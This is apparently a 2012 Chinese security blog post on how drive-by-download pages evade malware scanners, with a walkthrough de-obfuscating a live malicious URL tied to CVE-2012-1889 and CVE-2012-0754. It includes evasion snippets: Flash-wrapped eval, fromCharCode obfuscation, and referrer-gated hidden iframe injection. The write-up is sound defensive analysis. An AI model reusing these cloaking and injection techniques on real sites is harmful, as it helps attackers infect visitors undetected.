網馬的反掛馬檢測

網馬的反掛馬檢測

 

Magictong

2012-07-25

本次只輸出反掛馬檢測的一些技術,以後有機會再分享掛馬檢測的針對性對抗技術。

 

最近一段時間跟蹤了微軟XML漏洞(CVE-2012-1889)的掛馬數據,跟進了一些網馬資源,發現裏面存在很多對抗技術,有些還是很不錯的,對於掛馬產業鏈我一直比較好奇。

 

一、使用Flash來封裝網馬

有兩種方法:

(1)     一種是使用使Flash AS的擴展APIExternalInterface類來反調JS代碼。

import flash.external.*;

ExternalInterface.call("eval","jscode_string");

這個函數有兩個參數(第二個參數是一個變參,可以傳遞0個或者多個參數,實際就看第一個參數指明調用的js函數需要幾個參數了),一個是要調用的js函數名,一個執行參數,上面代碼的意思本質就是調用jseval函數,參數是jscode_string。這樣可以將任意JS代碼封裝到Flash文件中,再對Flash文件進行壓縮加密保護起來,這種就很難檢測了。

(2) 另外一種是直接在as腳本里面寫Heapspray代碼,然後配合Js腳本的漏洞觸發代碼,聯合利用一個漏洞,可以繞過一些通用的Heapspray檢測方法。

 

二、通過String.fromCharCode函數來變形JS代碼

類似:

var sc = "spraySlide =spraySlide.substring(0,spraySlideSize/2)"; 

var out2 = ""; 

for(var i=0; i<sc.length; i++) 

{ 

out2 +=String.fromCharCode(sc.charCodeAt(i) - 3); 

} 

document.write(out2);

既可變形代碼,也可以變形字符串,隨意搭配,提高繞過概率。

 

三、通過判斷客戶端的操作系統或者客戶端的安全軟件來決定是否掛馬

很多掛馬檢測系統都是跑在後臺的,而後臺一般是linux等服務器系統,通過判斷操作系統,決定是否掛馬,掛馬檢測系統一般不會跑js代碼的全部路徑,不過目前的一些蜜罐系統基本上僞造得和用戶環境一樣,因此此種方式的用途有多大值得商酌。另外就是如果發現某些安全軟件確實繞不過,則可以在客戶端進行檢測,避免被曝光(檢測方式知道創於研究院的總監餘弦在[2]裏面提到過)。

 

四、判斷Referrer字段

很顯然,蜜罐系統去取網頁代碼時,或者直接訪問時,Referrer字段是空的,而從已知的掛馬網站跳轉而來,或者從搜索引擎跳轉而來,則掛馬。更牛逼的是加上時間判斷,哪個時間段掛,哪個時間段不掛,譬如晚上掛,到白天了安全工作人員都上班的時間則不掛,猥瑣吧。

var url=document.referrer;

varp=url.toLowerCase().indexOf(".baidu.com");

if (p>0)

{

document.writeln("<iframesrc=*** width=0 height=0></iframe>");

}

var url=document.referrer;

varp=url.toLowerCase().indexOf(".google.com.hk");

if (p>0)

{

document.writeln("<iframesrc=*** width=0 height=0></iframe>");

}

 

五、使用JS訪問插件的屬性時進行變形

使用這種方法可以繞過很多通過JS的靜態特徵檢測漏洞的利用方式,直接上代碼說明,以最近的CVE-2012-1889漏洞爲例。

下面是CVE-2012-1889漏洞的原始POC代碼:

再看一段真實樣本的代碼:

 

它這裏其實也是訪問definetion屬性,不信你看:

用這種方式進行變形,基本上可以千變萬化。你可以發揮你的想象力。

 

六、其它反掛馬檢測技術

(1) 判斷當前IP是否是已知的IDC機房的IP,如果是則認爲是Spider(爬蟲)在爬取,給予錯誤的信息。或者甚至通過信息蒐集的方法直接探知SpiderIP地址。

(2) 通過cookie等指紋信息判斷用戶是否已經訪問過,如果已經訪問過了就不用再訪問了,不過可能躲不過蜜罐系統。

(3) 使用一些免費的空間,免費二級域名等方式隱藏行蹤[3]

 

參考

[1] 免殺迅雷PPLAYER.DLL ActiveX控件溢出漏洞,http://blog.csdn.net/leeeryan/article/details/6127887

[2] xKungfoo上的網馬猥褻技巧, http://hi.baidu.com/ycosxhack/item/50aef2e8a6c1cae1fa42baa5

[3] 網馬的反掛馬檢測及精確投放, http://hi.baidu.com/monyer/item/a89437ea339cf2e3fb42ba63

[4] 網馬的反掛馬檢測及精確投放(續), http://hi.baidu.com/monyer/item/948ea84244a37dab60d7b963

 

一個實例的簡單分析

以今天剛剛看到的一個掛馬鏈接爲例(最後分析發現其實沒掛馬,但是有Heapspray行爲,因此被Heapspray攔截抓獲了)。

 

分析過程:

URLhttp://142.0.128.141/uuBxvO2.html(不要直接訪問,有一定危險性)

1、首先取到源代碼(注意:如果發現代碼不對頭,那就換環境試試)

HTML代碼裏面前面是一些Heapspray庫的代碼,不用看,直接看後面

 

2、這種代碼比較噁心,各種混淆變形,其實分析網馬,我們的目的是要找出最終執行的JS核心代碼,把這部分代碼通過alert,或者document.write()的方式打印出來,基本上就完成網馬分析了,剩下的工作就是找出是利用的什麼漏洞了。

 

3、對於這種混淆變量的JS代碼,沒什麼特別好的辦法,一層層的剝出來纔是王道。好吧,剝啊剝……其實那個字符串sNotc8裏面的代碼是可見的第一層JS代碼,sNotc8會被eval直接執行,看圖:

 

4sNotc8裏面又是什麼代碼呢?繼續剝……這是一個苦力活,不過網上有一些JS代碼格式化工具可以使用,可以稍微減輕一下工作量,最後剝出來是(把變量名作了修改,已便於查看):

 

5、好下面來剝這個第二層JS代碼,也就是上圖中的_strNull的值,這下不能靜態看,需要使用原始代碼,把這個值輸出來。代碼如下(有一個小技巧就是sNotc8這個字符串你不能修改他,因爲第一層的JS代碼裏面使用了這個字符串來解密第二層JS代碼,因此這裏重新定義一個字符串sNotc8_1,內容和sNotc8一樣,並稍做修改,見圖,然後eval這個字符串):

 

6、坐等輸出第二層的JS代碼。

 

7、好吧,分析完成,至於第二層JS代碼(上圖)是在幹嘛,應該很清楚了。但是確實沒利用漏洞,純粹Heapspray!!!

 

後來和同事討論了下發現,之前的分析其實還沒有完成,問題出在原始的URL不全,原始URL是:http://142.0.128.141/uuBxvO2.html?%3Cembed%20src%3D%27dGaxmb6.swf%3Fhash%3D24C0AF115312706A8C9776145B5C4E955F27%27%20width%3D100%20height%3D0%3E%3C/embed%3E

解碼之後是:http://142.0.128.141/uuBxvO2.html?<embedsrc='dGaxmb6.swf?hash=24C0AF115312706A8C9776145B5C4E955F27'width=100 height=0></embed>

 8、這就可以解釋當時分析時覺得沒用的那段代碼了:

9、沒錯,就是獲取當前URL裏面的數據,作爲HTML代碼的一部分,顯然這個代碼的關鍵部分就是:

<embed src='dGaxmb6.swf?hash=24C0AF115312706A8C9776145B5C4E955F27' width=100 height=0></embed>

 

10、下載這個swf文件回來反編譯發現,果然有玄機。

 

 11、如果我沒有看錯,它應該是掛 [CVE-2012-0754] adobe flash play mp4格式解析漏洞,但是這裏比較巧妙的是他的mp4文件是直接從網絡讀取的。

 

結論:天下無免費的午餐,看來它不會無緣無故去做Heapspray的。而這種利用方式要精確攔截,還有點麻煩,因爲攔截這個漏洞的關鍵在於攔截最後觸發漏洞的那個MP4文件,如果這個文件不落地,我們現有技術無法進行內存查殺(當然我們現在還不能進行非PE查殺),當前只能依靠Heapspray攔截技術進行通殺攔截。

 

發佈了148 篇原創文章 · 獲贊 261 · 訪問量 187萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章